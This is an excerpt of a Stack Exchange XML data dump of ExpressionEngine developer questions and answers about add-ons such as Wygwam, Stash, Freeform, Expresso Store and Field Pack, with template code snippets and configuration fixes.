  <row Id="12619" PostTypeId="1" AcceptedAnswerId="13062" CreationDate="2013-08-09T17:10:28.017" Score="3" ViewCount="58" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://devot-ee.com/add-ons/rsvp&quot; rel=&quot;nofollow&quot;&gt;RSVP Module&lt;/a&gt; with a site and it is great, but despite its default being set to &quot;enabled&quot;, new entries always have it disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to know, at the least, what I can hook into in the module's code to view what is happening when the entry is being created (through safecracker).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When publishing an entry through the admin panel, this feature does work as expected, so I'm kind of geared towards writing a safecracker hook, but I could really use some direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1872" LastEditorUserId="104" LastEditDate="2013-08-16T07:51:19.440" LastActivityDate="2013-09-21T23:45:51.823" Title="RSVP Module not obeying default status" Tags="|add-on|safecracker|module|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12620" PostTypeId="1" AcceptedAnswerId="12621" CreationDate="2013-08-09T18:42:40.840" Score="2" ViewCount="798" Body="&lt;p&gt;I’m struggling with &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags being removed in WYGWAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When these tags are added via source in WYGWAM and saved they show up on the page but when you go back into edit the entry they do not show up in Source area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding this suggested regex to the config file but it didn’t work:&#xA;&lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/wygwam_deleting_javascript_tags_in_content&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/wygwam_deleting_javascript_tags_in_content&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other Regex examples found on Google didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I allow &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags in a WYGWAM field? &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="150" LastEditDate="2013-08-11T20:39:52.360" LastActivityDate="2013-08-27T00:59:15.413" Title="Wygwam - Form &amp; script tags being removed" Tags="|wygwam|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12621" PostTypeId="2" ParentId="12620" CreationDate="2013-08-09T18:42:40.840" Score="6" Body="&lt;p&gt;These tags are stripped out of the editor view because the &quot;Restrict Allowed HTML&quot; setting is set to YES for that field's WYGWAM configuration. Changing this setting to NO fixes the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Add-Ons -&gt; Modules -&gt; Wygwam -&gt;(your toolbar config) and set the &quot;Restrict Allowed HTML&quot; setting to 'no'.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-08-09T18:42:40.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12622" PostTypeId="2" ParentId="12617" CreationDate="2013-08-09T19:06:48.437" Score="1" Body="&lt;p&gt;You may want to email me at support@objectivehtml.com so I can get you in the right direction. Sounds like you are trying do something a little outside the scope of the Parcels API and more in line with notifications or hooks. Without knowing more information and specific details, I can't help much more. I think though that emailing my support channel will be a better place to converse than here until we can figure out a formal solution.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-08-09T19:06:48.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12623" PostTypeId="2" ParentId="12592" CreationDate="2013-08-09T20:09:47.297" Score="3" Body="&lt;p&gt;Are you using the latest version of Stash (as of writing 2.3.9)? Your code should work but a few versions back there was a bug in &lt;code&gt;{exp:stash:parse}&lt;/code&gt; which meant that &lt;code&gt;parse_vars&lt;/code&gt; didn't get run under certain circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: just realised you've left off the wrapping channel entries tag which would have made it clear why your code can't possibly work unless limit='1'. You are overwriting the value of {image_x} with each iteration of the channel entries tag. The solution is to use a list with the entry id as a context. I will update this answer with sample code shortly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: use context and the @ pointer to point to the static context:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;{blog_images}&#xA;    {exp:stash:set type=&quot;snippet&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;        {stash:image_{row_count}}&#xA;            &amp;lt;figure class=&quot;{placement} {size}&quot;&amp;gt;&#xA;                {exp:ce_img:pair src=&quot;{image}&quot; width=&quot;{size}&quot; allow_scale_larger=&quot;no&quot; cache_dir=&quot;images/blog&quot; hide_relative_path=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;                    &amp;lt;img src=&quot;/assets/images/css/holder.png&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; data-src=&quot;{made}&quot; alt=&quot;{alt_text}&quot;&amp;gt;&#xA;                {/exp:ce_img:pair}&#xA;                {if caption}&#xA;                    &amp;lt;figcaption&amp;gt;&#xA;                        {caption}&#xA;                    &amp;lt;/figcaption&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/figure&amp;gt;&#xA;        {/stash:image_{row_count}}&#xA;    {/exp:stash:set}&#xA;{/blog_images}&#xA;{exp:stash:parse process=&quot;end&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:stash:context name=&quot;{entry_id}&quot;}&#xA;    {blog_post_content}&#xA;{/exp:stash:parse}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only caveat is that you'll need to refer to the images like this in the {blog_post_content} field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{@:image_1}&lt;/code&gt;, &lt;code&gt;{@:image_2}&lt;/code&gt;, etc&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-08-19T13:06:36.813" LastActivityDate="2013-08-19T13:06:36.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12624" PostTypeId="1" CreationDate="2013-08-09T23:10:07.853" Score="1" ViewCount="163" Body="&lt;p&gt;I've tried searching the the forums for an answer, but this one's got me buggered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set up &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freeform Pro&lt;/a&gt; the same way I've always done. I originally tested it using my email address, and everything worked fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I changed the &quot;admin_notify&quot; email to the client's email, they don't get the message. I confirmed that it's not going in their spam folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had them give me an alternate email. They gave me a personal Hotmail email, submitted the form, and they got the form submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems like any email other than their domain email will go through. Sounds like a server/email issue, but any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my Freeform Pro code just in case I'm missing something.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;        {exp:freeform:form&#xA;        form_id=&quot;3&quot; &#xA;        form:class=&quot;required&quot; &#xA;        notify_admin=&quot;yes&quot; &#xA;        user_email_field=&quot;email&quot; &#xA;        admin_notification_template=&quot;contact_notify&quot; &#xA;        admin_notify=&quot;info@creativeitaz.com&quot; &#xA;        return=&quot;contact/thank-you&quot; &#xA;        }&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="1873" LastEditorUserId="27" LastEditDate="2013-08-11T15:04:15.277" LastActivityDate="2013-08-11T15:04:15.277" Title="Freeform Pro: Notifying Any Email Except Domain Email" Tags="|solspace-freeform|notification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12625" PostTypeId="2" ParentId="12591" CreationDate="2013-08-10T04:43:11.060" Score="0" Body="&lt;p&gt;Freeform 4 allows specifying different types of text inputs, including numbers, when creating text fields: &lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#text_field_content_type&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/default_fieldtypes/#text_field_content_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input failing the requirements will be validated negative.&lt;/p&gt;&#xA;" OwnerDisplayName="user550" LastActivityDate="2013-08-10T04:43:11.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12626" PostTypeId="2" ParentId="12616" CreationDate="2013-08-10T14:07:51.897" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Is there a way to output the billing_region &amp;amp; billing_country select&#xA;  fields from Store&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes and No. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes you can:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA;     &amp;lt;select name=&quot;billing_country&quot;&amp;gt;&#xA;         {billing_country_options}&#xA;     &amp;lt;/select&amp;gt;&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I originally incorrectly suggested &lt;code&gt;{exp:store:checkout disable_form=&quot;yes&quot;}&lt;/code&gt; - this is an invalid parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or just the raw values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA;    {billing_country} = {billing_country_name}&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which can work inside your &lt;code&gt;{exp:user:edit}&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the answer is also No - it will only work when the user has an item in their cart, so if they come back at a later date, or have registered prior to adding products into their cart, the tag pairs will fire the &lt;code&gt;{if no_results}&lt;/code&gt; conditional and nothing will get output :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other routes - you could use a third_party country/region listing plugin such as &lt;a href=&quot;http://devot-ee.com/add-ons/reegion-select&quot; rel=&quot;nofollow&quot;&gt;Reegion Select&lt;/a&gt; by Derek Hogue. But then you may have differences in the references for the countries &amp;amp; regions, which may be important for your payment gateway and syncing with Store on Checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or I've written a plugin that taps into the Expresso Store classes and outputs the regions or countries independently of the &lt;code&gt;{exp:store:checkout}&lt;/code&gt; tags - On &lt;a href=&quot;http://devot-ee.com/add-ons/store-address-lists&quot; rel=&quot;nofollow&quot;&gt;Devot-ee&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;the checkbox for setting the shipping info to &quot;Same as Billing&#xA;  Details&quot; is checked and overwrites&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You'll need to force this in your template, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{shipping_country}&quot; != &quot;{billing_country}&quot;}&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;shipping_same_as_billing&quot; value=&quot;0&quot; id=&quot;deliveryCheckbox&quot;&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;shipping_same_as_billing&quot; value=&quot;1&quot; id=&quot;deliveryCheckbox&quot; {shipping_same_as_billing_checked} &amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you find that the shipping details are still being incorrect displayed in the checkout form data being generated by Store, then you could output the shipping details from the member details instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:custom_profile_data}{shipping_country}{/exp:member:custom_profile_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...{exp:member:custom_profile_data} tags and get the same results&#xA;  either way. My custom member fields are named the same as the Store&#xA;  fields...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You mention your member fields are named the same as the Store fields, that means that the store tags will be parsing the fields first before the member tags get a look in. So you want to change the parse order to get the member tag to kick in first, so use the &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout form_class=&quot;checkout_form&quot; form_id=&quot;checkout_form&quot; next=&quot;store/order-confirmation&quot;}&#xA;    ...&#xA;    {exp:member:custom_profile_data parse=&quot;inward&quot;}&#xA;        ...&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;shipping_address1&quot; value=&quot;{shipping_address1}&quot; data-msg-required=&quot;Please enter your shipping address.&quot; required&amp;gt;&#xA;        ...&#xA;    {/exp:member:custom_profile_data}&#xA;    ...&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-08-26T16:39:12.657" LastActivityDate="2013-08-26T16:39:12.657" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12627" PostTypeId="2" ParentId="12624" CreationDate="2013-08-10T14:47:13.197" Score="3" Body="&lt;p&gt;A few things to look at here;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do they route their email through a different server to the web traffic? i.e. Do they have an MX record set up for their domain. If so, does that same MX record exist for the server currently hosting the site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see this from time to time with some sites I host where the client has their email handled elsewhere (say by a mail filtering service or to an exchange server). Because I have configured the hosting account to serve the website for somedomain.com it assumes that it also handles the email. So when email is generated by the site (ie within it's own network) it tries to deliver it within its own network. The solution is to add the MX record to the server so it sends mail to the right place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some mail servers will blackhole email that appears to come from the same domain sending it but has originated elsewhere or mail which doesn't have a sender name and email information. So check that you are including a sending name and email and, if the sender's email is the same domain as the recipient check that an actual mailbox/account exists for the sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it more simply, if your form appears to come from website@creativeitaz.com then ensure there is actually an account for website@creativeitaz.com&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-10T14:47:13.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12628" PostTypeId="2" ParentId="11864" CreationDate="2013-08-10T18:36:42.643" Score="2" Body="&lt;p&gt;You'll need an embed, with or without stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I always prefer to not use add-ons if I can. So, without stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;featured&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;div class=&quot;featured&quot;&amp;gt;&#xA;    [...]&#xA;    &amp;lt;/div&amp;gt;&#xA;    {embed=&quot;entries/.list&quot; featured_id=&quot;{entry_id}&quot;}&#xA;    {if no_results}&#xA;        {embed=&quot;entries/.list&quot; featured_id=&quot;0&quot;}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the embed entries/.list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;featured|open&quot;}&#xA;    &amp;lt;div {if entry_id == {embed:featured_id} }class=&quot;featured&quot; {/if} &amp;gt;&#xA;    [...]&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-10T18:36:42.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12629" PostTypeId="2" ParentId="11864" CreationDate="2013-08-10T20:42:25.733" Score="0" Body="&lt;p&gt;Just to add the alternative, an example using Stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_channel&quot; limit=&quot;1&quot; status=&quot;Featured&quot;}&#xA;&#xA;    {exp:stash:set name=&quot;cached_featured_entry_id&quot; trim=&quot;yes&quot; output=&quot;no&quot;}&#xA;        {entry_id}&#xA;    {/exp:stash:set}&#xA;&#xA;    &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;{exp:channel:entries channel=&quot;your_channel&quot; status=&quot;open|Featured&quot;}&#xA;&#xA;    &amp;lt;p {if {exp:stash:get name='cached_featured_entry_id'} == {entry_id}}style=&quot;font-weight:bold;&quot;{/if}&amp;gt;&#xA;        {title}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-08-10T20:42:25.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12630" PostTypeId="1" CreationDate="2013-08-10T20:54:18.333" Score="1" ViewCount="99" Body="&lt;p&gt;i was playing around with Assets 2.1.4 and i was wondering if there is any way of checking for no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_assets_field limit=&quot;30&quot; offset=&quot;80&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot; alt=&quot;{alt_text}&quot;&amp;gt;{filename}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/my_assets_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example of what i have in mind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_assets_field limit=&quot;30&quot; offset=&quot;80&quot;}&#xA;    {if no_results} the end{/if}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{url}&quot; alt=&quot;{alt_text}&quot;&amp;gt;{filename}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/my_assets_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm doing a ajax call to this template and i need to know when i reach the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx&lt;/p&gt;&#xA;" OwnerUserId="1876" LastEditorUserId="150" LastEditDate="2013-08-11T20:36:02.517" LastActivityDate="2013-08-12T09:00:52.070" Title="P&amp;T Assets - How to show no results?" Tags="|assets|conditionals|module|no-results|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12631" PostTypeId="1" CreationDate="2013-08-11T05:32:49.293" Score="1" ViewCount="20" Body="&lt;p&gt;I am trying to use GWCode syntaxhighlighter plugin with wygwam. I get the [code] icon in the toolbar, but then when I click it, I get a javascript error attempting to open the syntaxhighlight dialog box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the problem is that wygwam updated to a newer version of ckeditor and left syntaxhighlighter behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I asked this initially about wygwam 3.0.2, but update to 3.1.1 unfortunately changed nothing)&lt;/p&gt;&#xA;" OwnerUserId="1593" LastEditorUserId="1593" LastEditDate="2013-08-12T17:03:15.527" LastActivityDate="2013-10-21T00:01:43.753" Title="Wygwam 3.1.1 + GWCode syntaxhighlighter 1.0.0 - does this work for anybody?" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12632" PostTypeId="1" CreationDate="2013-08-11T09:55:18.487" Score="2" ViewCount="67" Body="&lt;p&gt;Is there a cart object for Expresso:Store? Something like &quot;$this-&gt;EE-&gt;cartObject&quot; where I can access the items that is in the cart? The purpose of this is to find out which category the item is in and if it is in a category that does not ship to a country it will display a warning message and blank out the 'confirm purchase' button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Rin&lt;/p&gt;&#xA;" OwnerUserId="1807" LastActivityDate="2013-08-17T17:09:31.783" Title="PHP Cart Object for Expresso:Store" Tags="|expresso-store|categories|php|checkout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12633" PostTypeId="1" CreationDate="2013-08-11T11:55:28.620" Score="2" ViewCount="289" Body="&lt;p&gt;I'm having issues with implementing the auto opt-in mailinglist feature with Solospace's Freeform 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up the mailing list called &quot;jrp-mailinglist&quot; and a landing page with the freeform on it with basic content &quot;first name, last name, email &amp;amp; categories&quot;. I do not wish to have a checkbox to confirm sign-up. Eg. If they are filling out this form then have confirmed that they wish to sign up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The freeform syntax I have used is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form &#xA;mailinglist_opt_in=&quot;no&quot;&#xA;mailinglist=&quot;jrp-mailinglist&quot; &#xA;form_id=&quot;3&quot;&#xA;required=&quot;first_name|last_name|email|sign_up_categories&quot;&#xA;return=&quot;sign-up/thanks&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But am unsure how to use the mailinglist field type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gone through the Freeform4 docs (&lt;a href=&quot;http://www.solspace.com/docs/freeform/default_fieldtypes/#mailinglist&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/default_fieldtypes/#mailinglist&lt;/a&gt;) but am unable to see where it clearly outlines how to implement the auto opt-in for my selected mailinglist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or advise would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2013-10-28T17:03:45.327" Title="Auto opt-in Freeform mailing list" Tags="|solspace-freeform|mailinglist|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12634" PostTypeId="2" ParentId="12570" CreationDate="2013-08-11T15:11:21.883" Score="1" Body="&lt;p&gt;You could also achieve this using the Files module and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/file/file_tag.html&quot; rel=&quot;nofollow&quot;&gt;File Entries tags&lt;/a&gt;. The Files module works much like Entries but you don't have to create them. Simply create an upload directory and put the files in there. Then sync the directory. To add a file to the directory you can use the File upload feature of the CP.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-08-11T15:11:21.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12635" PostTypeId="2" ParentId="12632" CreationDate="2013-08-11T15:52:31.167" Score="1" Body="&lt;p&gt;Yes, you can access it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;store_cart-&amp;gt;contents();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are also many &lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;extension hooks&lt;/a&gt; you can use if you want to validate the cart when it is updated.&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-08-17T17:09:31.783" LastActivityDate="2013-08-17T17:09:31.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12636" PostTypeId="1" AcceptedAnswerId="12637" CreationDate="2013-08-11T16:13:18.473" Score="0" ViewCount="196" Body="&lt;p&gt;I've just upgraded a site to EE2.6 with P&amp;amp;T Fieldpack 2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all of my safecracker dropdowns are now giving {option_name} instead of my proper Options. My dropdown template code is using the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{options:myfieldname}&#xA;     {option_name}&#xA;{/options:myfieldname}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code output correctly with EE2.5.5 and P&amp;amp;T Dropdown 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help out with the correct Dropdown syntax or a working solution?&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2013-08-11T16:36:30.440" Title="Fieldpack 2.1 (P&amp;T) EE2.6.1 and Safecracker Dropdown Not Working" Tags="|ee2|safecracker|pixelandtonic|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12637" PostTypeId="2" ParentId="12636" CreationDate="2013-08-11T16:36:30.440" Score="5" Body="&lt;p&gt;The &lt;code&gt;{options:field_name}&lt;/code&gt; tag pair is actually a Safecracker tag, which only works with Field Pack 1.x out of the box. You can add Field Pack 2.x support by opening up system/expressionengine/config/config.php and adding these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['safecracker_option_fields'][] = 'fieldpack_checkboxes';&#xA;$config['safecracker_option_fields'][] = 'fieldpack_radio_buttons';&#xA;$config['safecracker_option_fields'][] = 'fieldpack_dropdown';&#xA;$config['safecracker_option_fields'][] = 'fieldpack_multiselect';&#xA;$config['safecracker_option_fields'][] = 'fieldpack_pill';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-11T16:36:30.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12638" PostTypeId="2" ParentId="12615" CreationDate="2013-08-11T21:32:17.530" Score="2" Body="&lt;p&gt;As of Wygwam 3.1 you can turn off the &quot;Restrict allowed HTML?&quot; setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was a feature to prevent people from adding unwanted HTML to their content fields.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-08-11T21:32:17.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12639" PostTypeId="1" CreationDate="2013-08-11T23:01:28.043" Score="0" ViewCount="92" Body="&lt;p&gt;I've just installed Backup Pro(ish). This is my first time using the addon, so the problem I'm having could very well be &quot;user error. I have the database backup method set to &quot;MySQLDUMP&quot;, unfortunately every time I perform a backup and export the database it's an empty file. I've tried the PHP backup method and this appears to work, but I would prefer to get the SQL file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE v2.6.1 and am using the Focus Lab master config. I'm not sure if that would have any affect on the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2013-09-23T01:46:23.827" Title="Backup Pro(ish) is exporting empty SQL files" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12640" PostTypeId="2" ParentId="12429" CreationDate="2013-08-12T00:29:14.063" Score="1" Body="&lt;p&gt;Setting to 0 makes it unlimited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to @Bhashkar for the answer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/237065/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/237065/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-12T00:29:14.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12642" PostTypeId="1" CreationDate="2013-08-12T06:39:33.853" Score="0" ViewCount="26" Body="&lt;p&gt;I have the following search functionality for the channel entries and Iam searching based on their titles like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries loose_search='no' orderby='bump_up_date' sort=&quot;desc&quot; &#xA;&amp;lt;?php if(isset($GLOBALS[&quot;search&quot;])) { ?&amp;gt; search:title=&quot;&amp;lt;?php echo $GLOBALS[&quot;search&quot;];?&amp;gt;&quot; &amp;lt;?php } ?&amp;gt;  }&#xA;&#xA;{/exp:channel_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it is not returning desired result.If i place title with anyother field like description it is working fine.Can anyone tell me the solution please.Thanks in regards.&lt;/p&gt;&#xA;" OwnerUserId="1449" LastEditorUserId="1449" LastEditDate="2013-08-12T07:32:53.920" LastActivityDate="2013-08-12T07:32:53.920" Title="Title search is not working" Tags="|custom-fields|search|title|" AnswerCount="0" CommentCount="4" ClosedDate="2013-08-12T12:30:24.393" ContentLicense="CC BY-SA 3.0" />
